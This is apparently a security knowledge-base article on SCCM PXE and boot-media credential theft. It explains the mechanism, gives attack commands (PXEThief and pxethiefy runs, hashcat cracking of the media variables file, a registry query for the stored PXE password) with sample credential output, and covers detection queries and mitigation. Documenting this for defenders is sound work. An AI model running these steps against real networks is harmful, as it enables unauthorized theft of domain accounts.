How it works
Operating system deployment has to work for a computer that has no operating system, no domain membership and no Configuration Manager client. Configuration Manager solves this by giving the bare machine enough material to talk to the site on its own, and that material is what the attack collects.
When PXE is enabled on a distribution point, a booting client goes through these steps:
- It broadcasts a DHCP request and the distribution point answers with the location of the boot files.
- It downloads the network boot program and a Windows PE image over TFTP.
- It downloads a media variables file (
.boot.var) from theSMSTempfolder of the distribution point's remote install share. The file holds the management point address, the site code and a certificate that identifies the machine as deployment media. - With that certificate it asks the management point for policy: the network access account configuration, the task sequences available to it and collection variables.
None of this requires a real boot. A tool can send the DHCP request, fetch the variables file over TFTP, and make the policy requests itself.
The media variables file is encrypted, and the key depends on the configuration:
- No PXE password. The key is derived from a value the distribution point returns in its DHCP answer. Anyone who asks gets everything needed to decrypt the file.
- PXE password set. The key is derived from the password. The file can still be downloaded, converted to a hash and attacked offline.
Unknown computer support decides how much the result is worth. When a task sequence is deployed to the "All Unknown Computers" collection, a machine the site has never seen is entitled to that task sequence's policy, including the secrets inside it.
Bootable and prestaged media work the same way without the network step. The media contains a variables file and a certificate, optionally protected by a password. A copy that leaves the imaging room is a standing credential for policy requests until its certificate expires. Stand-alone media goes further and carries the task sequence policy on the media itself.
What comes back is credential theft in bulk: the network access account (see NAA credential theft for the authenticated routes to the same secret), the domain join account, local administrator passwords set by the task sequence, and any other account a deployment step uses.
Prerequisites
- Network access to a PXE-enabled distribution point: UDP 67/68 or 4011 for the boot request, TFTP for the files, and HTTP or HTTPS to the management point. A device on a user VLAN whose DHCP requests are forwarded to the distribution point is enough.
- No PXE password, or one weak enough to guess offline.
- For useful results: a task sequence deployed to unknown computers, or a network access account configured on the site.
- For the media variant: a copy of bootable, prestaged or stand-alone media, such as an ISO on a file share or a USB drive.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find the PXE-enabled distribution point
From a domain account, sccmhunter's find module lists PXE-enabled distribution points from LDAP. Without an account, a DHCP PXE request finds them, which is what the next step does.
2. Request the boot files
PXEThief sends the PXE request and downloads the media variables file. Mode 1 discovers the distribution point by broadcast, mode 2 targets one by address:
# Discover a distribution point by DHCP broadcast
python pxethief.py 1
# Ask a specific distribution point
python pxethief.py 2 192.0.2.20
With no PXE password, PXEThief decrypts the variables file immediately (auto_exploit_blank_password = 1 in settings.ini, the default), requests policy from the management point and prints the credentials it finds:
[!] Blank password on PXE boot found!
[+] Successfully decrypted media variables file with the provided password!
[+] Requesting policy assignments from MP...
[!] Network Access Account Username: 'CORP\svc-sccm-naa'
[!] Network Access Account Password: '...'
[!] Possible credential fields found!
In TS Step "Apply Network Settings":
OSDJoinAccount - CORP\svc-domainjoin
pxethiefy is a Linux port that takes the interface and the distribution point as arguments:
sudo python3 pxethiefy.py explore -i eth0 -a sccm-dp01.corp.example.com
When it decrypts the file, it prints a ready-made SharpSCCM get secrets command with the client GUID and certificate from the media, for requesting the policy from a Windows host.
3. Crack the PXE password
If a password is set, the tools save the variables file and stop. Turn it into a hash and guess the password offline:
# Print the hash for a saved media variables file, then save that line as pxe.hash
python pxethief.py 5 media.boot.var
# Hashcat with the ConfigMgr CryptDeriveKey module (mode 19850) compiled in
hashcat -m 19850 pxe.hash wordlist.txt
Mode 19850 is not part of the stock hashcat release. The module's repository explains how to add it to the hashcat source tree and build it.
4. Decrypt and request policy
With the password recovered, PXEThief decrypts the file and makes the policy requests:
python pxethief.py 3 media.boot.var 'RecoveredPassword1'
Media variant
For bootable or prestaged media, extract the media variables file from the ISO or USB drive and use the same modes 5 and 3. For stand-alone media, which carries its policy on the media, mode 4 decrypts the variables file and the policy file together:
python pxethief.py 4 media.boot.var policy.xml 'MediaPassword1'
Distribution point variant
An attacker who already has local administrator rights on a distribution point can read the stored PXE password and the identity the distribution point uses for task sequences directly:
reg query HKLM\software\microsoft\sms\dp /v Reserved1
python pxethief.py 7 <Reserved1-value>
Impact
The attacker goes from an unauthenticated network position to one or more valid domain accounts. That alone opens directory enumeration and every attack that needs "any domain user".
The accounts are rarely minimal. A domain join account can create and often reset computer objects. A network access account or a task sequence account that is a local administrator on servers, or a member of a privileged group, turns a network port in a meeting room into privileged access. Microsoft's own guidance for these accounts is least privilege: read access to content for the NAA, and only the right to join computers for the join account.
OPSEC and artifacts
- The requests are the protocol. DHCP PXE discovery, a TFTP download from
SMSTempand policy requests to the management point are what every imaged computer produces. There is no exploit traffic to signature. - No real boot happens. The attacker downloads the variables file but never the full Windows PE image, and no task sequence starts. In
SMSPXE.logon the distribution point this is a PXE request from a MAC address that never continues into a deployment. - The MAC address and client identifier are the attacker's choice, so they do not identify the device. The switch port and the source IP of the TFTP and HTTP requests do.
- Policy requests come from an unusual source. The management point's IIS log records requests for policy under an unknown-computer identity from an address outside the imaging network.
- Cracking is offline. Once the variables file is downloaded, password guessing leaves no trace.
- Share access. Tools that enumerate the distribution point's
REMINSTshare over SMB instead of TFTP produce event 5140 and event 5145 forSMSTempwhen file share auditing is on. - The credentials are used afterwards. The first sign-in of the join account or the network access account from a workstation is usually the first reliable signal.
Detection
- PXE requests from places that do not image computers. Collect
SMSPXE.logfrom PXE-enabled distribution points and alert on requests from subnets outside the provisioning networks, and on requests that are answered but never followed by a task sequence (smsts.logon the client side never appears). - Reads of the
SMSTempfolder from hosts that are not being imaged. Audit the remote install share and watch event 5145 for.boot.varfiles. - Use of deployment accounts outside deployment. The join account should only create computer objects during imaging windows, and the network access account should only make network logons to distribution points. Any other event 4624 for them is worth an alert.
- Media inventory. Bootable media has no network signature at all when it is copied. Detection here is custody: who holds each copy, and when its certificate expires.
// Deployment accounts signing in from hosts outside the imaging networks
let DeploymentAccounts = dynamic(["svc-sccm-naa", "svc-domainjoin"]);
SecurityEvent
| where EventID == 4624 and TargetUserName in~ (DeploymentAccounts)
| where not(ipv4_is_in_range(IpAddress, "192.0.2.128/26"))
| project TimeGenerated, Computer, TargetUserName, LogonType, IpAddress, AuthenticationPackageName
Replace the account names and the imaging subnet with your own.
Mitigation
- Restrict PXE to provisioning networks. Place PXE-enabled distribution points on imaging VLANs, and configure IP helpers so that only those VLANs forward PXE requests. A user network should not be able to reach the PXE service at all.
- Set a long, random PXE password on every PXE-enabled distribution point, and a password on all bootable and prestaged media. A password that survives offline guessing is the only thing that protects the variables file once it is downloaded.
- Do not deploy task sequences to unknown computers unless the process needs it. Where it does, limit the deployment to the PXE-enabled distribution points in the imaging network and review which task sequences are offered.
- Reduce what the policy holds. Remove the network access account where HTTPS or Enhanced HTTP makes it unnecessary. Give the domain join account only the right to join computers in the target OU. Do not set a shared local administrator password in a task sequence; let Windows LAPS manage it after deployment. See how to secure Active Directory service accounts.
- Disable command support on production boot images. "Enable command support (testing only)" lets anyone who PXE boots press F8 for a command prompt inside the deployment environment.
- Control media. Keep an inventory of bootable, prestaged and stand-alone media, set a short validity period on the media certificate, and block the certificate in the console when a copy is lost or retired.
- Rotate what was exposed. If PXE ran without a password on a reachable network, change the passwords of the network access account and every account referenced in task sequences.
Log events to collect
FAQ
Does the attacker need a domain account for PXE credential theft?
No. PXE exists to serve computers that have no identity yet. A device on a network segment that can reach the PXE-enabled distribution point sends the same DHCP and TFTP requests a new computer would, so the attack starts from network access alone.
Does a PXE password stop the attack?
Only if it is strong. The password encrypts the media variables file, and that file can be downloaded without knowing the password. An attacker turns it into a hash and guesses the password offline with hashcat, so a short or guessable password only adds a delay.
What credentials can be recovered from SCCM PXE boot?
The network access account, and whatever the task sequences and collection variables available to that boot contain: typically the account used to join computers to the domain, the local administrator password set during deployment, and accounts used to reach file shares.
Is bootable or prestaged media affected in the same way?
Yes. Bootable and prestaged media carry the same kind of media variables file with a certificate the site trusts. A copy of the media without a password, or with a weak one, can be used to request deployment policy for as long as the media certificate is valid.
References
- Use PXE to deploy Windows over the network (Microsoft Learn)
- Create bootable media (Microsoft Learn)
- Understand PXE boot in Configuration Manager (Microsoft Learn)
- Credentials from Password Stores, T1555 (MITRE ATT&CK)
- Brute Force: Password Cracking, T1110.002 (MITRE ATT&CK)
- Misconfiguration Manager: CRED-1, retrieve secrets from PXE boot media
- PXEThief (MWR CyberSec)
- Identifying and retrieving credentials from SCCM/MECM task sequences (Christopher Panayi)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.